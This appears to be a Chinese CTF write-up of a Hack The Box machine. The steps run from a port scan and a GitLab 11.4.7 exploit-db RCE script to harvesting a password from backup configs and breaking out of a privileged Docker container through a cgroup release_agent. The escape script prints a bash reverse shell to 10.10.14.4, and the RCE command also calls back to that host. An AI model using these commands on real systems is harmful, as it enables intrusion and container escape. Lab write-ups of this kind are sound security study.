代码拉取完成,页面将自动刷新
端口扫描
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|_ 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
5080/tcp open http nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
5080访问是gitlab community
注册一个账号进去看看,发现dude用户有一个公开的drupal仓库,没找到有什么硬编码的敏感信息。
找找gitlab自己的问题,因为版本未知,exploit-db上的exp挨个试试。找到11.47版本的能打
https://www.exploit-db.com/exploits/49334
se19wPBl9C7ia+jGGa3vxoq/xVoSr5vMjrxz9zay/Kai7Zp7qmSZAgp1p6eUFd8rd/QKUQuAl/tgpW90u2LtyA==
python3 49334.py -u whd -p wuerror1212 -g http://10.10.10.220 -l 10.10.14.4 -P 4444
(现在已经可以读user.txt了)
suid,计划任务等搜了一圈没发现可提权的。内核版本5.4也挺高的
无意间ls -al /发现.dockerenv。这好像是个容器环境啊
在/opt/backup下发现一些敏感的文件
cat docker-compose.yml
version: '2.4'
services:
web:
image: 'gitlab/gitlab-ce:11.4.7-ce.0'
restart: always
hostname: 'gitlab.example.com'
environment:
GITLAB_OMNIBUS_CONFIG: |
external_url 'http://172.19.0.2'
redis['bind']='127.0.0.1'
redis['port']=6379
gitlab_rails['initial_root_password']=File.read('/root_pass')
networks:
gitlab:
ipv4_address: 172.19.0.2
ports:
- '5080:80'
#- '127.0.0.1:5080:80'
#- '127.0.0.1:50443:443'
#- '127.0.0.1:5022:22'
volumes:
- './srv/gitlab/config:/etc/gitlab'
- './srv/gitlab/logs:/var/log/gitlab'
- './srv/gitlab/data:/var/opt/gitlab'
- './root_pass:/root_pass'
privileged: true
restart: unless-stopped
#mem_limit: 1024m
networks:
gitlab:
driver: bridge
ipam:
config:
- subnet: 172.19.0.0/16
发现读了根目录下的root_pass文件!!!前面我还漏掉了
但是用这个作为密码su root失败了。
privileged:true说明这是个特权容器,可逃逸啊
secrets.json里是证书和rsa私钥啥的。
#去掉注释行
grep -v "^#" gitlab.rb
得到一个smtp passwd wW59U!ZKMbG9+*#h
用这个密码su root成功了,但是家目录里没有root.txt
修改poc如下,弹shell加cat
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /root/root.txt > $host_path/output;bash -c 'exec bash -i &>/dev/tcp/10.10.14.4/1234 <&1'" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。